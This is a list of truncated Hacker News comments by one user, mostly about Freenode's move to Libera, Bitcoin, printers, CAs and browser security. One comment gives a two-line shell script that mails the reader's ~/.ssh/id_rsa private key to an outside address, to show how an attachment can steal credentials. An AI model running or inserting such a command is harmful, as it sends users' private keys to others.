geofft

79 ms·

661.
by geofft 5y ago
Not sure I follow. The following certainly does not work: 1. Install Chromium from https://www.chromium.org/ 2. Go to https://discord.com/ and click "Open Discord in your browser" 3. Discord can r
662.
by geofft 5y ago
Very much not so? Here's an email attachment that compromises your SSH private key: #!/bin/sh mail geofft@example.com < ~/.ssh/id_rsa (With obvious changes for other OSes, but that's roughly th
663.
by geofft 5y ago
Libera is an IRC network too! It's run by the same people who used to run Freenode! I agree it shouldn't have happened, but everything is intact except for the name "Freenode." It's not like they moved to Discord
664.
by geofft 5y ago
The community still exists, it's just on Libera. Same people, same channel, different network.
665.
by geofft 5y ago
Not just "technical acumen" - the clients are designed to connect to multiple networks and treat them equally. Literally nothing about my user experience is different now that I'm no longer logged into Freenode. Non-technical
666.
by geofft 5y ago
In my experience, it feels like 90% of Freenode channels have moved to Libera, 5% have moved to OFTC, and 5% have moved to something else like Discord or "just use GitHub issues" or whatever. Certainly the number of moves to Liber
667.
by geofft 5y ago
It's not over. It's alive and well, it just happens to be named "Libera" these days. The only thing 'rasengan actually bought was the rights to the name (including the domain registration) and, indirectly, a user
668.
by geofft 5y ago
Andrew Lee also claims to be the Crown Prince of Korea - because he claims to be distantly related to a very old king, contacted one of the aging claimants to the throne who has no male children, and organized a "ceremony" with hi
669.
by geofft 5y ago
Interesting that this is basically the same point as a comment on another submission last week from the same blog: https://news.ycombinator.com/item?id=27386666 > But they never made this complaint in the actual Bugzil
670.
by geofft 5y ago
During COVID I think it's totally reasonable for any person to be able to set the elevator as "full" - if you're returning from travel and quarantining, immunocompromised, etc. you might not want to travel with anyone. A
671.
by geofft 5y ago
Related: https://developers.redhat.com/blog/2020/06/25/red-hat-enterp... > This article focuses on one specific performance improvement in the python38 package. As we'll explain, Python 3.8 is b
672.
by geofft 5y ago
Sure - "stop doing this because, despite being profitable, it's bad for society" is an entirely reasonable take. (Though perhaps one should figure out how to incentivize that action.) "Stop doing this because it's n
673.
by geofft 5y ago
Exactly. Consider that Facebook has entire teams of people dedicated to figuring out what behavior is compatible with their business model, and they also have more direct data about where revenue comes from than any of us here do (at least
674.
by geofft 5y ago
I'm not disputing that it creates an incentive for making energy production more efficient. It does! In the analogy I gave, there's definitely an incentive for building more highways (" There would be an incredible incentive
675.
by geofft 5y ago
Yes, but it undermines the point of energy production, because the energy produced is not going to existing consumers of energy, it's going to feed the insatiable-by-design blockchain. Imagine if there were a cryptocurrency based on pr
676.
by geofft 5y ago
This looks distressingly similar to https://blog.zulip.com/2021/03/20/zulip-cloud-security-incid... . Klarna: Our app is configured specifically to avoid inadvertent caching through the use of cache control
677.
by geofft 5y ago
I want to trust that when a CA has a certain written policy, they think it's important to stick by that policy, and they have plans to stick by the policy. For instance, Symantec had a policy that they validate their subscribers before
678.
by geofft 5y ago
In the example given, there's no arbitrary header. "HELP" is part of the POST data, which is controlled by the application. And example attacks 2 and 3 do not require seeing the response, only executing it, which you&#x27
679.
by geofft 5y ago
It's not - you're allowed to send requests to arbitrary sites. CORS just controls whether you can see the response. The reason for this is that you've been allowed to do things like <img src=" https://un
680.
by geofft 5y ago
That is what's being proposed. From the "driverless" man page https://manpages.debian.org/buster/cups-filters-core-drivers... : > driverless generates PPD files for printers which are designed for dr
681.
by geofft 5y ago
Get a laser printer. They're much more reasonable for home use than they were in 1999. I bought a Brother HL-L2370DW (there's a bunch in the HL-L23xx series, varying slightly in speed and price and availability) about two years ag
682.
by geofft 5y ago
No one is saying that every single employee at the bottom is being exploited - just that exploitation is rational for those in power, because there's no particular incentive for them to completely avoid it. They shouldn't do it to
683.
by geofft 5y ago
It would be ironic if they said that access to Twitter was an essential human right in modern society. But their argument is that access to the internet in its entirety - whether Twitter or Mastodon or Hacker News or Stormfront or Substack
684.
by geofft 5y ago
Yeah, the analysis here lends itself to a pretty simple heuristic: if the input for the password manager ends up on the page itself, the password manager is poorly designed. If the input ends up in a popup from the icon in your tool bar (wh
685.
by geofft 5y ago
I mean, we can say that and be done with the subject. For instance, just look at the seceding states' articles of secession: they quite plainly spell out that they are seceding because of slavery and to join the other slaveholding st
686.
by geofft 5y ago
So, I should hold off on buying things from North Face until they inevitably announce their new sustainably-sourced clothing line in a few months (which is when I'd be looking for winter clothing anyway)? Good strategy. Also makes sens
687.
by geofft 5y ago
Bitcoin's lobbyists are better paid because Bitcoin got people richer.
688.
by geofft 5y ago
I think you completely misread what I said. I didn't say that losing out on a $10,000+ gain is a good thing. I'm just asking why we are only selectively applying that argument to certain lost gains. Every single person who had $50
689.
by geofft 5y ago
This is a bizarre (and bizarrely non-objective) framing. You can trade US dollars for Bitcoin and Bitcoin for US dollars at any time. Why does it matter that some students got $50 in Bitcoin and chose to sell it for USD - isn't it equa
690.
by geofft 5y ago
What threat model would it protect against? The thing this proposed change would protect against is, if an attacker gets access to a participant's unlocked phone, and then transfers their Signal account, it will notify the other partic

More ›